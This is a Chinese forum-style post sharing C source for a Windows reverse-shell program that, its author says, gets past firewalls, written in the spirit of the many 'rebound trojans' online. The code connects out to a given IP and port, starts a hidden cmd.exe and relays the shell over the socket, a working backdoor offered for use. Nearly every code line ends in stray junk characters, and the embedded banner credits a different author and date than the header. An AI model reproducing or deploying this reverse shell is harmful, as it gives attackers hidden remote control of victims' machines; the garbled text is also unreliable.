这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {l0[`"EF
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/* ============================== 5>Kk>[|.
Rebound port in Windows NT ax)>rP,V
By wind,2006/7 e=ITAH3b
===============================*/ Mg"e$m
#include o=zr]vv
#include n0a|GZyO]
* :kMv;9
#pragma comment(lib,"wsock32.lib") z=FOymvC
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void OutputShell(); |KMwK
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SOCKET sClient; .QvH7
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <5 )F9.$
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void main(int argc,char **argv) Ndz'^c
{ -F$v`|(O+
WSADATA stWsaData; \{EYkk0]
int nRet; {j8M78 }3
SOCKADDR_IN stSaiClient,stSaiServer; Ee3-oHa
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if(argc != 3) 1w!O&kn
{ BjyV&1tRV!
printf("Useage:\n\rRebound DestIP DestPort\n"); ;5p;i8m
return; VPr`[XPXb
} V(5*Dn84
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^wIg|Gc
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^)p+)5l
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stSaiClient.sin_family = AF_INET; =E
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stSaiClient.sin_port = htons(0); ?={S"qK(q
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8n,/hY>w
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) dK Qu
{ _)S['[
printf("Bind Socket Failed!\n"); 2Krh&
return; /.WIED}>
} nX_w F`n"
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stSaiServer.sin_family = AF_INET; ~p`[z~|
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 60G(jO14
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vW-o%u*
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (?xR<]~g*
{ t3b M4+n
printf("Connect Error!"); Y?6}r;<
return; `&:>?Y/X2
} d%K&
OutputShell(); I|l5e2j
} ZPG~@lU
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void OutputShell() VHi'~B#'*
{ h0
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char szBuff[1024]; p}Um+I=1
SECURITY_ATTRIBUTES stSecurityAttributes; 1QPz|3f@\
OSVERSIONINFO stOsversionInfo; rJ{k1H >
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; )3WUyD*UZN
STARTUPINFO stStartupInfo; _^g4/G#13c
char *szShell; vm7ag 7@O
PROCESS_INFORMATION stProcessInformation; n?>|2>
unsigned long lBytesRead; r>}z|I'
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); yIC
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |l-O e
stSecurityAttributes.lpSecurityDescriptor = 0; }qJ`nN8
stSecurityAttributes.bInheritHandle = TRUE; 3 Q~0b+k
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Xf{9rZ+
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r0@s3/
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); iL!4r]~H
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E5#ff5
stStartupInfo.wShowWindow = SW_HIDE; 4:Oq(e_(
stStartupInfo.hStdInput = hReadPipe; oWx^_wQ-=
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; f1S%p
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GetVersionEx(&stOsversionInfo); w5yX~8UzJ
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switch(stOsversionInfo.dwPlatformId) P @J)S ?
{ iJeodfC
case 1: ,:#h;4!VRF
szShell = "command.com"; 4 aE{}jp1
break; F vTswM>
default: q{%~(A5*H
szShell = "cmd.exe"; }
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break; _#Lq~02 %
} *7=`]w5k1
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >K&chg@Hv
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send(sClient,szMsg,77,0); pN_%>v"o
while(1) U<r!G;^`
{ yJ`{\7Uqg
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); x}O,xquY
if(lBytesRead) )#GF:.B
{ s(ap~UCOw
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Tm9sQ7Oj(
send(sClient,szBuff,lBytesRead,0); Jamt@=
} =c$x xEDD
else V2xvuDHI
{ c<lEFk!g
lBytesRead=recv(sClient,szBuff,1024,0); jse!EtB:
if(lBytesRead<=0) break; 4<vi@,s
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); j6};K ~N`
} ,`OQAJ)>
} ;;m;f^]}
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return; I}f7|hYX
}